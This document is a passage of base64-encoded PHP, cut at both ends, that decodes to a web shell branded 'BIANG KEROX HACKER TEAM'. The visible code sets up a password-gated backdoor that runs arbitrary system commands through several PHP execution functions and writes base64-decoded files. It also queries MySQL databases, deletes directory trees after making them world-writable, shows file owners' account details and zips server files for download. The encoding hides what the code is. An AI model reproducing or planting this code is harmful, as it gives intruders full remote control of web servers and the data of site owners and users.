4nKTsNCgl9DQp9Ly9lbmQgcGhwZW52DQoNCmVsc2Ugew0KCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsNCn0NCg0KPz4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPGRpdiBzdHlsZT0icGFkZGluZzoxMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMwRTBFMEU7Ym9yZGVyLXRvcDoxcHggc29saWQgIzBFMEUwRTtiYWNrZ3JvdW5kOiMwRTBFMEU7Ij4NCgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4NCglLaW1jaWwtSmFoYXQgPEI+PC9CPiAtIFJlQ29kZUQgYnkgeFNvdUwgPGEgaHJlZj1odHRwOi8vYmtodC5vcmcgdGFyZ2V0PV9ibGFuaz48Qj54U291TCAgIDwvQj48L2E+IC0gPEI+LSBCSUFORyBLRVJPWCBIQUNLRVIgVEVBTTwvQj4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0KDQo8P3BocA0KDQovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KU2hvdyBpbmZvIHNoZWxsDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLw0KDQpmdW5jdGlvbiBtKCRtc2cpIHsNCgllY2hvICc8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNmMWYxZjE7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDtmb250OjE0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPic7DQoJZWNobyAkbXNnOw0KCWVjaG8gJzwvZGl2Pic7DQp9DQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgew0KCWdsb2JhbCAkYWRtaW4sICR0aW1lc3RhbXAsICRfU0VSVkVSOw0KCSRrZXkgPSAoJHByZWZpeCA/ICRhZG1pblsnY29va2llcHJlJ10gOiAnJykuJGtleTsNCgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsNCgkkdXNlcG9ydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MyA/IDEgOiAwOw0KCXNldGNvb2tpZSgka2V5LCAkdmFsdWUsICR0aW1lc3RhbXArJGxpZmUsICRhZG1pblsnY29va2llcGF0aCddLCAkYWRtaW5bJ2Nvb2tpZWRvbWFpbiddLCAkdXNlcG9ydCk7DQp9DQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsNCgkkbXVsdGlwYWdlID0gJyc7DQoJaWYoJG51bSA+ICRwZXJwYWdlKSB7DQoJCSRwYWdlID0gMTA7DQoJCSRvZmZzZXQgPSA1Ow0KCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOw0KCQlpZigkcGFnZSA+ICRwYWdlcykgew0KCQkJJGZyb20gPSAxOw0KCQkJJHRvID0gJHBhZ2VzOw0KCQl9IGVsc2Ugew0KCQkJJGZyb20gPSAkY3VycGFnZSAtICRvZmZzZXQ7DQoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7DQoJCQlpZigkZnJvbSA8IDEpIHsNCgkJCQkkdG8gPSAkY3VycGFnZSArIDEgLSAkZnJvbTsNCgkJCQkkZnJvbSA9IDE7DQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCgkJCQkJJHRvID0gJHBhZ2U7DQoJCQkJfQ0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7DQoJCQkJJGZyb20gPSAkY3VycGFnZSAtICRwYWdlcyArICR0bzsNCgkJCQkkdG8gPSAkcGFnZXM7DQoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsNCgkJCQkJJGZyb20gPSAkcGFnZXMgLSAkcGFnZSArIDE7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJldjwvYT4gJyA6ICcnKTsNCgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgew0KCQkJJG11bHRpcGFnZSAuPSAkaSA9PSAkY3VycGFnZSA/ICRpLicgJyA6ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kaS4nKTsiPlsnLiRpLiddPC9hPiAnOw0KCQl9DQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsNCgkJJG11bHRpcGFnZSA9ICRtdWx0aXBhZ2UgPyAnPHA+UGFnZXM6ICcuJG11bHRpcGFnZS4nPC9wPicgOiAnJzsNCgl9DQoJcmV0dXJuICRtdWx0aXBhZ2U7DQp9DQovLyBMb2dpbiBwYWdlDQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCg0KPGJvZHkgYmdjb2xvcj1ibGFjayBiYWNrZ3JvdW5kPTEuanBnPg0KDQoJCTxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiAvPg0KPHRpdGxlPkJJQU5HIEtFUk9YIEhBQ0tFUiBURUFNPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpBOmxpbmsge3RleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IGxpbWUgfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6cmVkfQ0KQTphY3RpdmUge3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogbGltZTt9DQppbnB1dCwgdGV4dGFyZWEsIGJ1dHRvbg0Kew0KCWZvbnQtc2l6ZTogMTFwdDsNCgljb2xvcjogCSNGRkZGRkY7DQoJZm9udC1mYW1pbHk6IHZlcmRhbmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCglib3JkZXItbGVmdDogMnB4IGRhc2hlZCAjOEIwMDAwOw0KCWJvcmRlci10b3A6IDJweCBkYXNoZWQgIzhCMDAwMDsNCglib3JkZXItcmlnaHQ6IDJweCBkYXNoZWQgIzhCMDAwMDsNCglib3JkZXItYm90dG9tOiAycHggZGFzaGVkICM4QjAwMDA7DQp9DQoNCjwvc3R5bGU+DQoNCiAgICAgICA8QlI+PEJSPg0KPGRpdiBhbGlnbj1jZW50ZXIgPg0KDQo8ZGl2Pg0KPGZvbnQgY29sb3I9Z3JheT4NCjxiciAvPjxiciAvPjxiciAvPjxiciAvPjxiciAvPg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCgk8c3BhbiBzdHlsZT0iZm9udDoyMHB0IHRhaG9tYTsiPiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMzAiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvaW5nIiB2YWx1ZT0ibG9naW4iPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQoJPC9mb3JtPg0KPEJSPg0KPD9waHANCmVjaG8gIiIuJGVycl9tZXNzLiIiOw0KPz4NCg0KCTxCPjxmb250IGNvbG9yPXJlZD4NCg0KDQoNCg0KDQoNCjwvZGl2Pg0KDQoNCgk8L2ZpZWxkc2V0Pg0KDQoNCg0KPC9oZWFkPg0KPC9odG1sPg0KDQoNCjw/cGhwDQoJZXhpdDsNCg0KfS8vZW5kIGxvZ2lucGFnZSgpDQoNCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgew0KCSRyZXMgPSAnJzsNCglpZiAoJGNmZSkgew0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQkJQGV4ZWMoJGNmZSwkcmVzKTsNCgkJCSRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoJCQkkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHN5c3RlbSgkY2ZlKTsNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KCQkJJHJlcyA9ICcnOw0KCQkJd2hpbGUoIUBmZW9mKCRmKSkgew0KCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOw0KCQkJfQ0KCQkJQHBjbG9zZSgkZik7DQoJCX0NCgl9DQoJcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiB3aGljaCgkcHIpIHsNCgkkcGF0aCA9IGV4ZWN1dGUoIndoaWNoICRwciIpOw0KCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7DQp9DQoNCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7DQoJaWYoJGZwPUBmb3BlbigkZm5hbWUsJ3cnKSkgew0KCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQoJCUBmY2xvc2UoJGZwKTsNCgl9DQp9DQoNCi8vIERlYnVnDQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJZ2xvYmFsICRzdGFydHRpbWU7DQoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCWVjaG8gJ1Byb3NlcyAgJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsNCn0NCg0KLy8gRnVuY3Rpb24gY29ubmVjdCBkYXRhYmFzZQ0KZnVuY3Rpb24gZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsNCglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgew0KCQlwKCc8aDI+UmEgaXNvIGtvbmVrIE15U1FMIHNlcnZlciBjb2sgISE8L2gyPicpOw0KCQlleGl0Ow0KCX0NCglpZigkbGluayAmJiAkZGJuYW1lKSB7DQoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsNCgkJCXAoJzxoMj5EYXRhYmFzZSBzZWsgdG9rIHBpbGloIGdhaXNvLCBlcm9yITwvaDI+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCRsaW5rICYmIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpID4gJzQuMScpIHsNCgkJaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkY2hhcnNldCksIGFycmF5KCdnYmsnLCAnYmlnNScsICd1dGY4JykpKSB7DQoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7DQoJCX0NCgl9DQoJcmV0dXJuICRsaW5rOw0KfQ0KDQovLyBBcnJheSBzdHJpcA0KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7DQoJaWYgKGlzX2FycmF5KCRhcnJheSkpIHsNCgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7DQoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7DQoJCX0NCgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7DQoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCglyZXR1cm4gJGFycmF5Ow0KfQ0KDQovLyBIVE1MIFN0cmlwDQpmdW5jdGlvbiBodG1sX2NsZWFuKCRjb250ZW50KSB7DQoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiICAiLCAiJm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsNCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQoNCi8vIENobW9kDQpmdW5jdGlvbiBnZXRDaG1vZCgkZmlsZXBhdGgpew0KCXJldHVybiBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQp9DQoNCmZ1bmN0aW9uIGdldFBlcm1zKCRmaWxlcGF0aCkgew0KCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOw0KCWlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdHlwZSA9ICdzJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICdkJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdHlwZSA9ICctJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICdiJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9DQoJZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9DQoJZWxzZSB7JHR5cGUgPSAnPyc7fQ0KDQoJJG93bmVyWydyZWFkJ10gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQoJJG93bmVyWyd3cml0ZSddID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCSRncm91cFsncmVhZCddID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCSRncm91cFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsNCgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgkkd29ybGRbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCgkkd29ybGRbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7DQoNCglpZiggJG1vZGUgJiAweDgwMCApIHskb3duZXJbJ2V4ZWN1dGUnXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQ0KCWlmKCAkbW9kZSAmIDB4MjAwICkgeyR3b3JsZFsnZXhlY3V0ZSddID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnO30NCg0KCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsNCn0NCg0KZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsNCglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCSRhcnJheSA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlcGF0aCkpOw0KCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsNCgkJCXJldHVybiAnIC8gPGEgaHJlZj0iIyIgdGl0bGU9IlVzZXI6ICcuJGFycmF5WyduYW1lJ10uJyYjMTMmIzEwUGFzc3dkOiAnLiRhcnJheVsncGFzc3dkJ10uJyYjMTMmIzEwVWlkOiAnLiRhcnJheVsndWlkJ10uJyYjMTMmIzEwZ2lkOiAnLiRhcnJheVsnZ2lkJ10uJyYjMTMmIzEwR2Vjb3M6ICcuJGFycmF5WydnZWNvcyddLicmIzEzJiMxMERpcjogJy4kYXJyYXlbJ2RpciddLicmIzEzJiMxMFNoZWxsOiAnLiRhcnJheVsnc2hlbGwnXS4nIj4nLiRhcnJheVsnbmFtZSddLic8L2E+JzsNCgkJfQ0KCX0NCglyZXR1cm4gJyc7DQp9DQoNCi8vIERlbGV0ZSBkaXINCmZ1bmN0aW9uIGRlbHRyZWUoJGRlbGRpcikgew0KCSRteWRpcj1AZGlyKCRkZWxkaXIpOw0KCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7DQoJCWlmKChpc19kaXIoJGRlbGRpci4nLycuJGZpbGUpKSAmJiAoJGZpbGUhPScuJykgJiYgKCRmaWxlIT0nLi4nKSkgew0KCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOw0KCQkJZGVsdHJlZSgkZGVsZGlyLicvJy4kZmlsZSk7DQoJCX0NCgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlAdW5saW5rKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCX0NCgkkbXlkaXItPmNsb3NlKCk7DQoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7DQoJcmV0dXJuIEBybWRpcigkZGVsZGlyKSA/IDEgOiAwOw0KfQ0KDQovLyBCYWNrZ3JvdW5kDQpmdW5jdGlvbiBiZygpIHsNCglnbG9iYWwgJGJnYzsNCglyZXR1cm4gKCRiZ2MrKyUyPT0wKSA/ICdhbHQxJyA6ICdhbHQyJzsNCn0NCg0KLy8gR2V0IHBhdGgNCmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7DQoJaWYgKCRub3dwYXRoID09ICcuJykgew0KCQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOw0KCX0NCgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOw0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbm93cGF0aCk7DQoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgew0KCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsNCgl9DQoJcmV0dXJuICRub3dwYXRoOw0KfQ0KDQovLyBHZXQgdXAgcGF0aA0KZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7DQoJJHBhdGhkYiA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7DQoJJG51bSA9IGNvdW50KCRwYXRoZGIpOw0KCWlmICgkbnVtID4gMikgew0KCQl1bnNldCgkcGF0aGRiWyRudW0tMV0sJHBhdGhkYlskbnVtLTJdKTsNCgl9DQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7DQoJJHVwcGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHVwcGF0aCk7DQoJcmV0dXJuICR1cHBhdGg7DQp9DQoNCi8vIENvbmZpZw0KZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7DQoJJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKTsNCglpZiAoJHJlc3VsdCA9PSAwKSB7DQoJCXJldHVybiAnTm8nOw0KCX0gZWxzZWlmICgkcmVzdWx0ID09IDEpIHsNCgkJcmV0dXJuICdZZXMnOw0KCX0gZWxzZSB7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX0NCn0NCg0KLy8gRnVuY3Rpb24gbmFtZQ0KZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7DQoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7DQp9DQoNCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7DQoJZ2xvYmFsICRkaXJkYXRhLCRqLCRub3dwYXRoOw0KCSEkaiAmJiAkaj0xOw0KCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOw0KCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsNCgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGYpOw0KCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOw0KCQkJCQkkZGlyZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7DQoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7DQoJCQkJCSRqKys7DQoJCQkJfQ0KCQkJCUdldExpc3QoJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXJldHVybiAkZGlyZGF0YTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gYXJyYXkoKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIHF5KCRzcWwpIHsNCgkvL2VjaG8gJHNxbC4nPGJyPic7DQoJJHJlcyA9ICRlcnJvciA9ICcnOw0KCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7DQoJCXJldHVybiAwOw0KCX0gZWxzZSBpZihpc19yZXNvdXJjZSgkcmVzKSkgew0KCQlyZXR1cm4gMTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gMjsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIHEoJHNxbCkgew0KCXJldHVybiBAbXlzcWxfcXVlcnkoJHNxbCk7DQp9DQoNCmZ1bmN0aW9uIGZyKCRxeSl7DQoJbXlzcWxfZnJlZV9yZXN1bHQoJHF5KTsNCn0NCg0KZnVuY3Rpb24gc2l6ZWNvdW50KCRzaXplKSB7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDQ4NTc2KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7DQoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICcgSyc7DQoJfSBlbHNlIHsNCgkJJHNpemUgPSAkc2l6ZSAuICcgQic7DQoJfQ0KCXJldHVybiAkc2l6ZTsNCn0NCg0KLy8gWmlwDQpjbGFzcyBQSFBaaXB7DQoJdmFyICRvdXQ9Jyc7DQoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCgkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJew0KCQkJJGN1cmRpciA9IGdldGN3ZCgpOw0KCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkJZWxzZXsNCgkJCQkkZmlsZWxpc3Q9JHRoaXMgLT4gR2V0RmlsZUxpc3QoJGRpcik7Ly9GaWxlIGxpc3QNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7DQoJCQl9DQoJCQlpZiAoKCFlbXB0eSgkZGlyKSkmJighaXNfYXJyYXkoJGRpcikpJiYoZmlsZV9leGlzdHMoJGRpcikpKSBjaGRpcigkZGlyKTsNCgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7DQoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkZmlsZW5hbWUpew0KCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsNCgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7DQoJCQkJCQkkY29udGVudCA9IEBmcmVhZCAoJGZkLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCgkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsNCgkJCQkJCSR0aGlzIC0+IGFkZEZpbGUoJGNvbnRlbnQsICRmaWxlbmFtZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJJHRoaXMtPm91dCA9ICR0aGlzIC0+IGZpbGUoKTsNCgkJCQljaGRpcigkY3VyZGlyKTsNCgkJCX0NCgkJCXJldHVybiAxOw0KCQl9DQoJCWVsc2UgcmV0dXJuIDA7DQoJfQ0KDQoJLy8gU2hvdyBmaWxlIGxpc3QNCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJc3RhdGljICRhOw0KCQlpZiAoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgew0KCQk